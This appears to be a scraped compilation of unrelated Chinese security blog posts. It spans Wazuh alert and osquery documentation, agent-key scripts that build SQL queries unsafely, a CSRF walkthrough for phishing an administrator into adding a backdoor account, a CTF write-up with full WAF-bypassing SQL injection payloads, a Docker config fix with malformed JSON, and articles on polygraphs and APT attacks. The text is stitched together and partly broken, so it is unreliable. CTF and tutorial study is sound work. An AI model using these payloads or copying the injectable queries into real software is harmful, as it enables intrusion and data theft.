"malicious": 0, "source": {"alert_id": "1510684374.31421", "sha1": "e4450be2f9a1a97cf0c71ce3efc802cea274fe9a", "file": "/media/user/software/my-clean-program.exe", "agent": {"id": "006", "name": "agent_centos"}, "md5": "9c8a83c9f4c39e8200661c33e188e79b"}}, "integration": "virustotal"} virustotal.found: 0 virustotal.malicious: 0 virustotal.source.alert_id: 1510684374.31421 virustotal.source.sha1: e4450be2f9a1a97cf0c71ce3efc802cea274fe9a virustotal.source.file: /media/user/software/my-clean-program.exe virustotal.source.agent.id: 006 virustotal.source.agent.name: agent_centos virustotal.source.md5: 9c8a83c9f4c39e8200661c33e188e79b integration: virustotal 发现扫描文件并由数据库识别为恶意软件时收到的警报: ** Alert 1510684984.55826: mail - virustotal, 2017 Nov 14 18:43:04 PC->virustotal Rule: 87105 (level 12) -> 'VirusTotal: Alert - /media/user/software/suspicious-file.exe - 7 engines detected this file' {"virustotal": {"permalink": "https://www.virustotal.com/file/8604adffc091a760deb4f4d599ab07540c300a0ccb5581de437162e940663a1e/analysis/1510680277/", "sha1": "68b92d885317929e5b283395400ec3322bc9db5e", "malicious": 1, "source": {"alert_id": "1510684983.55139", "sha1": "68b92d885317929e5b283395400ec3322bc9db5e", "file": "/media/user/software/suspicious-file.exe", "agent": {"id": "006", "name": "agent_centos"}, "md5": "9519135089d69ad7ae6b00a78480bb2b"}, "positives": 7, "found": 1, "total": 67, "scan_date": "2017-11-14 17:24:37"}, "integration": "virustotal"} virustotal.permalink: https://www.virustotal.com/file/8604adffc091a760deb4f4d599ab07540c300a0ccb5581de437162e940663a1e/analysis/1510680277/ virustotal.sha1: 68b92d885317929e5b283395400ec3322bc9db5e virustotal.malicious: 1 virustotal.source.alert_id: 1510684983.55139 virustotal.source.sha1: 68b92d885317929e5b283395400ec3322bc9db5e virustotal.source.file: /media/user/software/suspicious-file.exe virustotal.source.agent.id: 006 virustotal.source.agent.name: agent_centos virustotal.source.md5: 9519135089d69ad7ae6b00a78480bb2b virustotal.positives: 7 virustotal.found: 1 virustotal.total: 67 virustotal.scan_date: 2017-11-14 17:24:37 integration: virustotal 十四、Osquery 版本3.5.0中的新功能。 Wazuh模块,允许从Wazuh代理管理Osquery工具,能够设置Osquery配置,并收集Osquery生成的信息以将其发送给管理器,并在必要时生成相应的警报。 1.工作原理 Osquery可用于将操作系统公开为高性能关系数据库。 这允许您编写基于SQL的查询来搜索操作系统数据。 您可以在下面看到一些可以进行查询的示例: 列出本机的所有本地用户 SELECT * FROM users; 获取进程名称,端口和PID,以获取在所有接口上侦听进程 SELECT DISTINCT processes.name, listening_ports.port, processes.pid FROM listening_ports JOIN processes USING (pid) WHERE listening_ports.address = '0.0.0.0'; 检查具有已删除可执行文件的进程 SELECT * FROM processes WHERE on_disk = 0; 可在此处找到所有可用表的完整列表。 2.配置 您需要在系统中安装有效的Osquery。有关详情,请参阅下载页面 Red Hat, CentOS and Fedora: # curl -L https://pkg.osquery.io/rpm/GPG | tee /etc/pki/rpm-gpg/RPM-GPG-KEY-osquery # yum-config-manager --add-repo https://pkg.osquery.io/rpm/osquery-s3-rpm.repo # yum-config-manager --enable osquery-s3-rpm # yum install osquery Debian and Ubuntu based Linux distributions: # export OSQUERY_KEY=1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B # apt-key adv --keyserver keyserver.ubuntu.com --recv-keys $OSQUERY_KEY # add-apt-repository 'deb [arch=amd64] https://pkg.osquery.io/deb deb main' # apt-get update # apt-get install osquery 安装后,您将需要一个用于osquery的配置文件。如果没有,可以使用osquery提供的以下内容: # cp /usr/share/osquery/osquery.example.conf /etc/osquery/osquery.conf 或者您可以在/etc/osquery/osquery.conf中复制我们的自定义配置: { "options": { "config_plugin": "filesystem", "logger_plugin": "filesystem", "utc": "true" }, "schedule": { "system_info": { "query": "SELECT hostname, cpu_brand, physical_memory FROM system_info;", "interval": 3600 }, "high_load_average": { "query": "SELECT period, average, '70%' AS 'threshold' FROM load_average WHERE period = '15m' AND average > '0.7';", "interval": 900, "description": "Report if load charge is over 70 percent." }, "low_free_memory": { "query": "SELECT memory_total, memory_free, CAST(memory_free AS real) / memory_total AS memory_free_perc, '10%' AS threshold FROM memory_info WHERE memory_free_perc < 0.1;", "interval": 1800, "description": "Free RAM is under 10%." } }, "packs": { "osquery-monitoring": "/usr/share/osquery/packs/osquery-monitoring.conf", "incident-response": "/usr/share/osquery/packs/incident-response.conf", "it-compliance": "/usr/share/osquery/packs/it-compliance.conf", "vuln-management": "/usr/share/osquery/packs/vuln-management.conf", "hardware-monitoring": "/usr/share/osquery/packs/hardware-monitoring.conf", "ossec-rootkit": "/usr/share/osquery/packs/ossec-rootkit.conf" } } 正如您在此示例配置中看到的那样,system_info,high_load_average和low_free_memory查询将每小时执行一次。 此外,此配置使用一些默认包,例如osquery-monitoring,hardware-monitoring或ossec-rootkit其他。您可以定义自己的包并使用此wodle。 3.告警示例 日志格式的示例警报: ** Alert 1532958886.437707: - osquery, 2018 Jul 30 13:54:46 manager->osquery Rule: 24010 (level 3) -> 'osquery data grouped' {"name":"system_info","hostIdentifier":"manager","calendarTime":"Mon Jul 30 13:54:45 2018 UTC","unixTime":1532958885,"epoch":0,"counter":461,"columns":{"cgroup_namespace":"4026531835","cmdline":"","cwd":"/","disk_bytes_read":"0","disk_bytes_written":"0","egid":"0","euid":"0","gid":"0","ipc_namespace":"4026531839","mnt_namespace":"4026531840","name":"migration/0","net_namespace":"4026531957","nice":"0","on_disk":"-1","parent":"2","path":"","pgroup":"0","pid":"9","pid_namespace":"4026531836","resident_size":"","root":"/","sgid":"0","start_time":"0","state":"S","suid":"0","system_time":"2","threads":"1","total_size":"","uid":"0","user_namespace":"4026531837","user_time":"0","uts_namespace":"4026531838","wired_size":"0"},"action":"added"} name: system_info hostIdentifier: manager calendarTime: Mon Jul 30 13:54:45 2018 UTC unixTime: 1532958885 epoch: 0 counter: 461 columns.cgroup_namespace: 4026531835 columns.cmdline: columns.cwd: / columns.disk_bytes_read: 0 columns.disk_bytes_written: 0 columns.egid: 0 columns.euid: 0 columns.gid: 0 columns.ipc_namespace: 4026531839 columns.mnt_namespace: 4026531840 columns.name: migration/0 columns.net_namespace: 4026531957 columns.nice: 0 columns.on_disk: -1 columns.parent: 2 columns.path: columns.pgroup: 0 columns.pid: 9 columns.pid_namespace: 4026531836 columns.resident_size: columns.root: / columns.sgid: 0 columns.start_time: 0 columns.state: S columns.suid: 0 columns.system_time: 2 columns.threads: 1 columns.total_size: columns.uid: 0 columns.user_namespace: 4026531837 columns.user_time: 0 columns.uts_namespace: 4026531838 columns.wired_size: 0 和JSON格式相同的警报: { "timestamp": "2018-07-30T13:54:46.476+0000", "rule": { "level": 3, "description": "osquery data grouped", "id": "24010", "firedtimes": 207, "mail": false, "groups": [ "osquery" ] }, "agent": { "id": "000", "name": "manager" }, "manager": { "name": "manager" }, "id": "1532958886.437707", "full_log": "{\"name\":\"system_info\",\"hostIdentifier\":\"manager\",\"calendarTime\":\"Mon Jul 30 13:54:45 2018 UTC\",\"unixTime\":1532958885,\"epoch\":0,\"counter\":461,\"columns\":{\"cgroup_namespace\":\"4026531835\",\"cmdline\":\"\",\"cwd\":\"/\",\"disk_bytes_read\":\"0\",\"disk_bytes_written\":\"0\",\"egid\":\"0\",\"euid\":\"0\",\"gid\":\"0\",\"ipc_namespace\":\"4026531839\",\"mnt_namespace\":\"4026531840\",\"name\":\"migration/0\",\"net_namespace\":\"4026531957\",\"nice\":\"0\",\"on_disk\":\"-1\",\"parent\":\"2\",\"path\":\"\",\"pgroup\":\"0\",\"pid\":\"9\",\"pid_namespace\":\"4026531836\",\"resident_size\":\"\",\"root\":\"/\",\"sgid\":\"0\",\"start_time\":\"0\",\"state\":\"S\",\"suid\":\"0\",\"system_time\":\"2\",\"threads\":\"1\",\"total_size\":\"\",\"uid\":\"0\",\"user_namespace\":\"4026531837\",\"user_time\":\"0\",\"uts_namespace\":\"4026531838\",\"wired_size\":\"0\"},\"action\":\"added\"}", "decoder": { "name": "json" }, "data": { "action": "added", "name": "system_info", "hostIdentifier": "manager", "calendarTime": "Mon Jul 30 13:54:45 2018 UTC", "unixTime": "1532958885", "epoch": "0", "counter": "461", "columns": { "cgroup_namespace": "4026531835", "cmdline": "", "cwd": "/", "disk_bytes_read": "0", "disk_bytes_written": "0", "egid": "0", "euid": "0", "gid": "0", "ipc_namespace": "4026531839", "mnt_namespace": "4026531840", "name": "migration/0", "net_namespace": "4026531957", "nice": "0", "on_disk": "-1", "parent": "2", "path": "", "pgroup": "0", "pid": "9", "pid_namespace": "4026531836", "resident_size": "", "root": "/", "sgid": "0", "start_time": "0", "state": "S", "suid": "0", "system_time": "2", "threads": "1", "total_size": "", "uid": "0", "user_namespace": "4026531837", "user_time": "0", "uts_namespace": "4026531838", "wired_size": "0" } }, "predecoder": { "hostname": "manager" }, "location": "osquery" } 注意:如果收到多个具有相同内容的报告,则第一次仅生成一个警报。其余的将被丢弃。 十五、Agent key轮询 版本3.8.0中的新功能。 Wazuh模块,允许获取存储在外部数据库中的密钥。 1.工作原理 此模块允许从外部数据库(如MySQL或任何数据库引擎)检索代理信息,以将其注册到client.keys文件中。 为此,必须使用可以集成到数据库引擎中的任何语言创建二进制文件或脚本,从而请求代理的信息。该ossec-authd守护程序必须运行。 您可以在下面看到流程图: 2.输入 如果socket未在配置块中指定标记,则密钥轮询模块将使用以下参数调用可执行文件,具体取决于轮询类型: Poll agent by ID Poll agent by IP 按Poll agent by ID时,管理器将通过查询其ID来检索代理密钥,因此程序将接收的输入参数例如: ./agent_key_pull.py id 001 通过Poll agent by IP时,管理器将通过查询其IP地址来检索代理密钥,因此程序将接收的输入参数例如: ./agent_key_pull.py ip 192.168.1.100 注意:请记住,上面的例子代表Wazuh将如何调用您的程序。 当socket指定标签模块将通过指定的套接字发送参数和读取响应。如上所述,执行程序的性能改进很重要。 程序将接收数据的格式是option:value,选项可以是id或ip取决于轮询类型。 必须允许空输入。 代理密钥轮询模块在启动时执行套接字运行状况检查。 如果连接成功建立,则立即关闭。 注意:如果指定了套接字选项,并且套接字不可用,则在指定的情况下将调用必须打开的程序。 3.Output 脚本的输出必须是标准输出中的JSON对象。 成功的例子: { "error": 0, "data": { "id": "001", "name": "my_agent", "ip": "192.168.1.100", "key": "ac575526e8bbcddf6654e5aa0a39fa60a0020e5d34ed1370916368bdaf5f0c71" } } error:错误识别号码 允许的字符 仅限数字 Allowed size 1位数 Unique value yes,必须是0 data:具有以下字段的json格式的数据 允许的字段 id,name,ip,key ID:代理识别码 允许的字符 仅限数字 Allowed size 3到8位数 Unique value yes name:代理名称 允许的字符 字母数字字符-,_和. Allowed size 最多128个字节 Unique value yes address:允许的源地址范围采用CIDR格式。如果指定,则管理器仅在其源IP与此地址匹配时才接受代理。 格式 CIDR。网络掩码是可选的。 Unique value yes Reserved values nothing Aliases any = 0.0.0.0/0 key:将参与外部邮件加密的字符串 允许的字符 可打印的字符 Allowed size 最多128个字节 Unique value No 错误示例: { "error": 1, "message": "Your error message" } error:错误识别号码 允许的字符 特殊字符 Unique value yes 信息:将显示消息错误的字符串 允许的字符 可打印的字符 Unique value NO 4.示例脚本 假设您的数据库中有一个名为agent的表,其结构如下: 类型 参数值 ID VARCHAR(8) name VARCHAR(128) IP VARCHAR(19) agent_key VARCHAR(128) 注意:如果您的可执行文件是不包含shebang的脚本,则必须将其 interpreter包含在配置的sexec_path参数中。 下面的python脚本显示了从数据库(MySQL)检索代理密钥的示例。 import sys import json import mysql.connector from mysql.connector import Error def main(): if len(sys.argv) < 3: print json.dumps({"error": 1, "message": "Too few arguments"}) return try: conn = mysql.connector.connect(host='localhost', database='your_database', user='user', password='secret') except Error as e: print json.dumps({"error": 2, "message": str(e)}) return cursor = conn.cursor() data = sys.argv[2] if sys.argv[1] == "id": cursor.execute("SELECT id,name,ip,`agent_key` FROM agent WHERE id = '{}'".format(data)) elif sys.argv[1] == "ip": cursor.execute("SELECT id,name,ip,`agent_key` FROM agent WHERE ip = '{}'".format(data)) else: print json.dumps({"error": 3, "message": "Bad arguments given"}) return row = cursor.fetchone() if row: print json.dumps({"error": 0, "data": {"id" : row[0], "name": row[1], "ip": row[2], "key": row[3]}},sort_keys=False) else: print json.dumps({"error": 4, "message": "No agent key found"},sort_keys=False) if __name__ == '__main__': main() 下面的php脚本显示了从数据库(MySQL)中检索代理密钥的示例。 <?php $servername = "localhost"; $username = "user"; $password = "secret"; $dbname = "your_database"; if($argc < 3){ echo json_encode(array('error' => 1, 'message' => 'To few arguments')); exit; } $conn = new mysqli($servername, $username, $password, $dbname); if ($conn->connect_error) { echo json_encode(array('error' => 2, 'message' => 'Could not connect to database')); exit; } $data = $argv[2]; if($argv[1] == "id"){ $sql = "SELECT id,name,ip,`agent_key` FROM agent WHERE id = '$data'"; } else if ($argv[1] == "ip") { $sql = "SELECT id,name,ip,`agent_key` FROM agent WHERE ip = '$data'"; } else { echo json_encode(array('error' => 3, 'message' => 'Bad arguments given')); exit; } $result = $conn->query($sql); if ($result->num_rows > 0) { $row = $result->fetch_assoc(); echo json_encode(array('error' => 0, 'data' => array( "id" => $row["id"], "ip" => $row["ip"],"key" => $row["agent_key"],"name" => $row["name"]))); } else { echo json_encode(array('error' => 4, 'message' => 'No agent key found')); } $conn->close(); ?> 下面的perl脚本显示了从数据库(MySQL)检索代理密钥的示例 use strict; use warnings; use DBI; my $num_args = $#ARGV + 1; if ($num_args < 2) { print "{\"error\": 1, \"message\": \"Too few arguments\"}\n"; exit; } my $data = $ARGV[1]; my $dbh = DBI->connect("DBI:mysql:database=your_database;host=localhost", "user", "secret", {'RaiseError' => 1}); my $sql = ""; if ($ARGV[0] eq "id") { $sql = "SELECT * FROM agent WHERE id = '$data'"; } elsif ($ARGV[0] eq "ip") { $sql = "SELECT * FROM agent WHERE ip = '$data'"; } my $sth = $dbh->prepare($sql); $sth->execute(); my $rows = $sth->rows; if ($rows) { my $row = $sth->fetchrow_hashref(); print "{\"error\": 0, \"data\": {\"id\" : \"$row->{'id'}\", \"name\": \"$row->{'name'}\", \"ip\": \"$row->{'ip'}\", \"key\": \"$row->{'agent_key'}\"}}\n"; } else{ print "{\"error\": 4, \"message\": \"No agent key found\"}\n"; } $sth->finish(); $dbh->disconnect(); 注意:请记住使用参数过滤来保护脚本或二进制文件免受SQL注入的影响。
  16. CSRF在挖洞中就像XSS SSRF一样不起眼 比如在edusrc当中就给低危1分 但在实战当中 CSRF SSRF XSS(存储型)都具有重大作用 现在我就用一套源码来演示CSRF(跨站请求伪造漏洞) 通过CSRF-伪造钓鱼链接->诱导管理员打开钓鱼链接 如果管理员此时在浏览器储存了该网站cookie 便在不知不觉的状态下就会添加管理员 CSRF的钓鱼利用有一定条件: 1.无特定token操作鉴权 2.需要浏览器储存有权限用户的cookie 很多的源码对敏感操作都无CSRF的防御 比如如果我此时想生成godyu/godyu管理员后门 先在本地调试代码 需要在本地提前准备好数据包 在公网服务器上上传POC并把对应的CSRF POC修改为需要钓鱼的链接 诱导点击点击之后 直接就被添加管理员了 实战演示:
  17. 解决方法 相信大家都已经遇到了,国内的镜像站炸了,如果是香港或者国外的可以正常拉取镜像,国内机器如果挂TZ也可以拉取 拉取失败就如下图所示: 解决方法: 连接SSH 或打开图形化面板(如宝塔等) 打开 /etc/docekr 的文件夹,若etc下没有docker文件夹就手动创建一个 然后进入docker文件夹后。 创建一个名为:daemon.json的json文件 然后在文件里输入以下代码内容: { "registry-mirrors": [ "https://docker.m.daocloud.io", "https://docker.nju.edu.cn", { "registry-mirrors": [ "https://docker.m.daocloud.io", "https://docker.nju.edu.cn", "https://dockerproxy.com" ] } 然后保存并退出 之后重启一下docker: systemctl restart docker 再次拉取镜像就可以了 师傅们的VPS如果是香港或者是国外的请无视本文章
  18. 前言 细讲SQL注入 [SWPUCTF 2021 新生赛]sql 既让sqlmap工具跑不出来,又让手注不是很难,题出的很用心 地址:[SWPUCTF 2021 新生赛]sql | NSSCTF 用到的知识 确定注入参数 字符型 判断闭合符号 如上是单引号 判断回显位置 发现waf 空格被过滤 –+被过滤 绕空格过滤的方法 %09,/**/ 绕过–+注释符的方法: %23(#) 查询回显位置 ?wllm=1'order%09by%092%23 ?wllm=1'order/**/by/**/3%23 两个回显位置 判断列数 1'order/**/by/**/3%23 发现3列正常回显 4列报错 使用select一样的效果 说明一共有三列 查询数据库 -1'union/**/select/**/1,database(),3%23 数据库为test_db 查询表名 这里的前置知识在mysql里information_schema里包含了所有的数据名表名列名 其中information_schema.tables里包含了所有的表 group_concat的意思是把信息排列成一行 发现waf =被过滤 使用like绕过 ?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23 或者 ?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23 拿到两个表名LTLT_flag,users 查询列名 前置知识 information_schema.columns下包含所有的列名 ?wllm=-1'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()%23 得到id,flag,id,username flag在LTLT_flag表下 username在user表下 查询字段值 ?wllm=-1'union/**/select/**/1,group_concat(flag),3/**/from/**/test_db.LTLT_flag%23 发现只能回显20个字符,尝试用substr 发现substr被waf拦截 使用mid平替 ?wllm=-1'union/**/select/**/1,mid(group_concat(flag),1,20),3/**/from/**/test_db.LTLT_flag%23 ?wllm=-1'union/**/select/**/1,mid(group_concat(flag),21,40),3/**/from/**/test_db.LTLT_flag%23 ?wllm=-1'union/**/select/**/1,mid(group_concat(flag),41,60),3/**/from/**/test_db.LTLT_flag%23 NSSCTF{36458ec9-6832-48fc-874a-09e314f7ac3b}
  19. 声明:以下内容符合OSINT国际开源情报搜集定义,不涉及任何非法行为,仅供交流与参考。 0x01 测谎仪的历史 测谎仪的历史可以追溯到19世纪末期,那时人们就开始意识到:撒谎可能会伴随着生理反应的变化。 早期的测谎方法主要是基于观察被试者的生理指标,比如心率、呼吸频率和皮肤电阻等。虽然这些方法不够精确,但它们启发了科学家进一步探索如何利用生理指标来识别撒谎。 莱昂纳德·基勒 (Leonarde Keeler) 是基勒测谎仪的发明者,他一生的大部分时间都在试图辨别人们是否说真话。如下图,他通过测谎仪认识了他的妻子凯瑟琳。 当时的芝加哥,因其帮派和惊人的凶杀率而被称为谋杀之城。1929年,为了扭转这座城市的声誉,市政府在西北大学建立了科学犯罪侦查实验室,这是美国第一个正式的刑事调查机构。基勒夫妇成为了该实验室的两位顶尖犯罪学家,莱昂纳德成为了实验室的测谎专家,凯瑟琳成为了笔迹分析专家。 在洛杉矶,基勒直接向该市改革派警察局长奥古斯特·沃尔默汇报,后者声称该机器将提供“改良、简化和人性化的三级”。沃尔默希望他的门生的机械创新能够让容易出错和暴力的审讯成为过去。 自此,莱昂纳德的机器有了一个正式的名称——基勒测谎仪——并在犯罪侦查实验室中内置了一个公共关系部门。两年之内,测谎成为西北实验室最赚钱的业务。 有趣的是,随着这种设备在检测欺骗和犯罪方面的成功,”基勒解释了原理,“在很大程度上归因于这种测试在招供方面所产生的心理效应。” 他的设备原本是为了简化警方的审讯,但却成为警察强制装备库中的另一个工具。 0x02 关于测谎仪的认知盲区 测谎仪测试的使用备受争议,因为其背后的逻辑并非“万无一失”。当一个人撒谎时,身体会发生一些明显的变化,但当一个人紧张时,类似的变化也可能会发生。 所以,测谎的核心问题是: 当某人说谎时,你无法预期会出现何种生理反应。 有的人说谎可能会不断出汗,而有的说谎者则可能会全身干燥。 有些人撒谎时会变得异常紧张,而另一些人则保持冷静。 所以说,经验丰富的说谎者甚至完全可能“愚弄”测谎仪。 此外,有时如果测谎仪测试中的问题没有得到充分的设计,或者进行测试的人可能经验不足执行得不好,便会很难评估测试结果是否正确。 即使是CIA的内部测谎也是如此。 那么,如果测谎仪不能完全准确地告诉我们一个人的诚实程度,那么使用它们还有什么意义呢? 当然有意义,虽然测谎仪测试的结果可能并不完全准确,但它们确实可以帮助警官或探员们做出进一步调查的选择。在充满挑战的情况下,即使是这样的线索也可能会帮助执法人员彻底破案! 在TikTok上有位号称前CIA探员的主播,一直在分享测谎仪的各种案例和使用心得,感兴趣的朋友可以关注下。 前几天在香港举办的RC2第一场「企业内控监察专项课程」里,由“前香港商业罪案调查科”和“前国际刑警”的两位阿Sir,给学员们传授了江湖风水师秘籍、肢体语言、微表情、语义分析知识,以及企业内审技巧、企业内鬼心理、笔迹案例、测谎流程……等内容~ 但其中最受学员欢迎的,还是测谎仪的实测体验,哈哈~ 0x03 眼睛是心灵的窗户 众多研究表明,人在受到惊吓、感到恐慌和撒谎的时候,眼球都会有瞳孔放大的自然反应。基于这个基本原理,就诞生了通过瞳孔变化来测谎的设备。 犹他州 Converus 公司的 EyeDetect 是一款已经投入使用的高科技测谎系统。这原理是通过捕捉不自觉的眼球运动来识别谎言。 受试者被要求回答一些正确或错误、或是或否的问题。当他们这样做时,眼球追踪软件会观察并研究他们的反应。然后五分钟内就会提供结果,据称准确度为 86-88%。 EyeDetect 目前已被 50 个国家/地区的 600 多个客户使用,其中包括超过 65 个美国执法机构和全球近 100 个执法机构。其首席执行官托德·米克尔森(Todd Mickelsen)表示,当局和公司正在利用这项测试来筛查许多事情: “这些可能包括以前的犯罪记录、过去或现在的吸毒情况、未报告的纪律处分、在工作申请中撒谎、与恐怖分子的关系。” 除此之外,一款基于眼部识别的测谎APP,也开始受到更多人的注意和欢迎。该APP宣称适用于企业的内部场景,Whatever,谁用谁知道 需要注意的是,测谎仪的合法性会因国家而异。 0x04 如何在测谎时表现良好 如果需要参与测谎仪测试且希望通过,那么,了解更多潜在的情况可以帮助做好心理准备,以获得准确的通过结果。以下是一些专家提示: ·睡个好觉 – [安静可以减少焦虑] ·避免服用药物和兴奋剂 – 例如,咖啡因会加速心率和血压。 ·仔细聆听 – 不要被模棱两可或令人困惑的问题困扰,应立刻要求澄清。 ·简单回答 – 不要过度思考反应,因为这会改变生理迹象。 ·保持静止 – 过度坐立不安会干扰出汗和呼吸测量。 ·正常呼吸 – 使用深腹式呼吸来控制神经并避免呼吸不规律。 ·想象成功 – 想象自己平静地通过测谎仪并给出真实的答案。 ·要诚实 – 如果自己是无辜的,撒谎只会损害自身相关的案件,所以应保持真实、自信地回答。 一开始,杨叔对于上面部分内容不是很理解,直到自己参与体验测谎仪后,才明白上述这些细节和身体状态真的会明显影响到测谎效果。 就比如原本你身体很OK,虽然外表镇静,但由于心理过于紧张,则脉搏就会出现强烈的抖动,甚至超出正常范围~ 0x05 测谎技术的未来 虽然测谎仪仍然存在争议,但新技术正在不断出现,有一天可能会更加准确。目前正在发展和测试的技术有: ·脑电波分析:即使用脑电图 (EEG) 来检测大脑中与欺骗相关的模式。 ·MRI 扫描:功能性磁共振成像 (fMRI) 揭示了躺着时大脑的细微活动变化。 ·语音压力分析:声音模式和波动可能表明撒谎,特别是在重复问题时。 ·微表情:使用算法测量反映隐藏情绪的简短面部表情。 ·体温:红外热成像追踪与说谎相关的难以察觉的增加。 然而,大多数替代方案仍处于深度开发和测试阶段,尚未证明更可靠。 所以如需要使用到测谎仪,那么在出现绝对准确的方法之前,最好的选择是让自己学习了解测谎仪测试为何会出错的背后原因,并采取一些能够提高有效性的安全措施。 最后, 关于“测谎仪很有用”和“测谎仪无用”的相悖观点一直存在,在执法系统里,支持两类观点的人数尤为众多,那么,看到这里的你又是怎么认为的呢? 欢迎留言,欢迎分享测谎与被测谎经验~
  20. 0x00 APT的历史起源背景 APT这个词汇最早起源于:2005年英国和美国的CERT组织发布了关于有针对性的社交工程电子邮件,放弃特洛伊木马以泄露敏感信息的第一个警告,尽管没有使用“APT”这个名字。但 “先进的持续威胁”一词被广泛引用,2006年的美国空军Greg Rattray上校经常被引用为创造该术语的个人。后来,在Stuxnet震网事件就是专门针对伊朗的核计划的黑客攻击就是一个APT攻击例子。在计算机安全领域以及越来越多的媒体中,APT这个术语几乎总是用来指向针对政府,公司和政治活动家的黑客攻击的高级持续模式,而且也延伸到涉及到群体这些攻击背后。作为一个术语,高级持续威胁(APT)可以被转移焦点到攻击出现次数。一个常见的误解是APT只针对西方国家。西方国家可能会更多地宣传针对西方国家的技术性APT,但许多国家的行为者都将网络空间安全作为收集有关个人和群体的情报的手段。在美国,网络司令部的任务是协调美国军方,应对高级持续网络威胁,也就是APT攻击。 同时,许多消息来源都觉得一些APT组织实际上隶属于或者代表着民族和国家。否则很难持有大量信息和资源,三类机构容易面临高级持续威胁的高风险,即:高等教育,金融机构,政府机构。 实际上,一个APT是有一套隐匿和持续攻击的框架的,往往针对特定的实体由一人或多人策划(一般是多人)。APT通常针对高价值目标出于商业或政治动机进行实施的。APT在长时间的攻击中依旧会尽可能的保证高度隐蔽性。而“高级”意味着使用恶意软件来攻击系统漏洞的复杂技术。“持续”过程表明,APT攻击组织外部和控制系统正在持续监测和提取特定目标的数据。“威胁”过程表明攻击会损害目标利益。 APT通常是指一个组织,甚至可能一个政府支持下的组织,因为APT团体是一个既有能力也有意向持续而有效地进行攻击的实体。所以APT通常用来指网络威胁,特别是使用互联网进行间谍活动,利用各种情报搜集技术来获取敏感信息,但同样适用于诸如传统间谍活动或攻击等其他威胁。其他公认的攻击媒介包括受感染的媒体,供应链和社会工程。这些攻击的目的是将自定义的恶意代码放在一台或多台计算机上执行特定的任务,并在最长的时间内不被发现。了解攻击者文件(如文件名称)可帮助专业人员进行全网搜索,以收集所有受影响的系统。个人,如个人黑客,通常不被称为APT,因为即使他们意图获得或攻击特定目标,他们也很少拥有先进和持久的资源。 0x01 APT攻击定义 APT攻击(Advanced Persistent Threat,高级持续性威胁)是指组织(特别是政府)或者小团体利用当下先进的攻击手法对特定目标进行长期持续性的网络攻击。APT攻击的高级体现在于精确的信息收集、高度的隐蔽性、以及使用各种复杂的网络基础设施、应用程序漏洞对对目标进行的精准打击。攻击人员的攻击形式更为高级和先进,称为网络空间领域最高级别的安全对抗。APT是黑客以窃取核心资料为目的,针对客户所发动的网络攻击和侵袭行为。 APT(高级长期威胁)包含三个要素:高级、长期、威胁。高级强调的是使用复杂精密的恶意软件及技术以利用系统中的漏洞。长期暗指某个外部力量会持续监控特定目标,并从其获取数据。威胁则指人为参与策划的攻击。 APT攻击的原理相对于其他攻击形式更为高级和先进,其高级性主要体现在APT在发动攻击之前需要对攻击对象的业务流程和目标系统进行精确的收集。在此收集的过程中,此攻击会主动挖掘被攻击对象受信系统和应用程序的漏洞,利用这些漏洞组建攻击者所需的网络,并利用0day漏洞进行攻击 0x02 APT攻击手法 APT的攻击手法,在于隐匿自己,针对特定对象,长期、有计划性和组织性地窃取数据,此类攻击行为是传统安全检测系统无法有效检测发现,前沿防御方法是利用非商业化虚拟机分析技术,对各种邮件附件、文件进行深度的动态行为分析,发现利用系统漏洞等高级技术专门构造的恶意文件,从而发现和确认APT攻击行为。由于APT的特性,导致难发现、潜在威胁大,一旦被攻击将导致企业、政府、医疗组织等等的大量数据被窃取,公司重要财务、机密被盗窃。 0x03 APT攻击方式 APT组织常用的攻击手法有:鱼叉式网络钓鱼、水坑攻击、路过式下载攻击、社会工程学、即时通讯工具、社交网络等 鱼叉式网络钓鱼(Spear phishing)指一种源于亚洲与东欧,只针对特定目标进行攻击的网络钓鱼攻击。当进行攻击的骇客锁定目标后,会以电子邮件的方式,假冒该公司或组织的名义寄发难以辨真伪之档案,诱使员工进一步登录其账号密码,使攻击者可以以此借机安装特洛伊木马或其他间谍软件,窃取机密;或于员工时常浏览之网页中置入病毒自动下载器,并持续更新受感染系统内之变种病毒,使使用者穷于应付。由于鱼叉式网络钓鱼锁定之对象并非一般个人,而是特定公司、组织之成员,故受窃之资讯已非一般网络钓鱼所窃取之个人资料,而是其他高度敏感性资料,如知识产权及商业机密。 (1) 鱼叉攻击(Spear Phishing)是针对特定组织的网络欺诈行为,目的是不通过授权访问机密数据,最常见的方法是将木马程序作为电子邮件的附件发送给特定的攻击目标,并诱使目标打开附件。 (2)水坑攻击(Water Holing)是指黑客通过分析攻击目标的网络活动规律,寻找攻击目标经常访问的网站的弱点,先攻下该网站并植入攻击代码,等待攻击目标访问该网站时实施攻击。水坑攻击(Watering hole)是一种计算机入侵手法,其针对的目标多为特定的团体(组织、行业、地区等)。攻击者首先通过猜测(或观察)确定这组目标经常访问的网站,并入侵其中一个或多个,植入恶意软件,最后,达到感染该组目标中部分成员的目的。 由于此种攻击借助了目标团体所信任的网站,攻击成功率很高,即是针对那些对鱼叉攻击或其他形式的钓鱼攻击具有防护能力的团体。 下图给出了OceanLotus使用鱼叉攻击和水坑攻击的基本方法。 (4)路过式下载(Drive-by download):用户不知道的情况下下载间谍软件、计算机病毒或者任何恶意软件。路过式下载可能发生在用户访问一个网站、阅读一封电子邮件、或者点击一个欺骗性弹出式窗口的时候。例如,用户误以为这个弹出式窗口是自己的计算机提示错误的窗口或者以为这是一个正常的弹出式广告,因此点击了这个窗口。 (5)社会工程学:在计算机科学中,社会工程学指的是通过与他人的合法地交流,来使其心理受到影响,做出某些动作或者是透露一些机密信息的方式。这通常被认为是一种欺诈他人以收集信息、行骗和入侵计算机系统的行为。在英美普通法系中,这一行为一般是被认作侵犯隐私权的。社会工程学是一种通过人际交流的方式获得信息的非技术渗透手段。不幸的是,这种手段非常有效,而且应用效率极高。然而事实上,社会工程学已是企业安全最大的威胁之一。 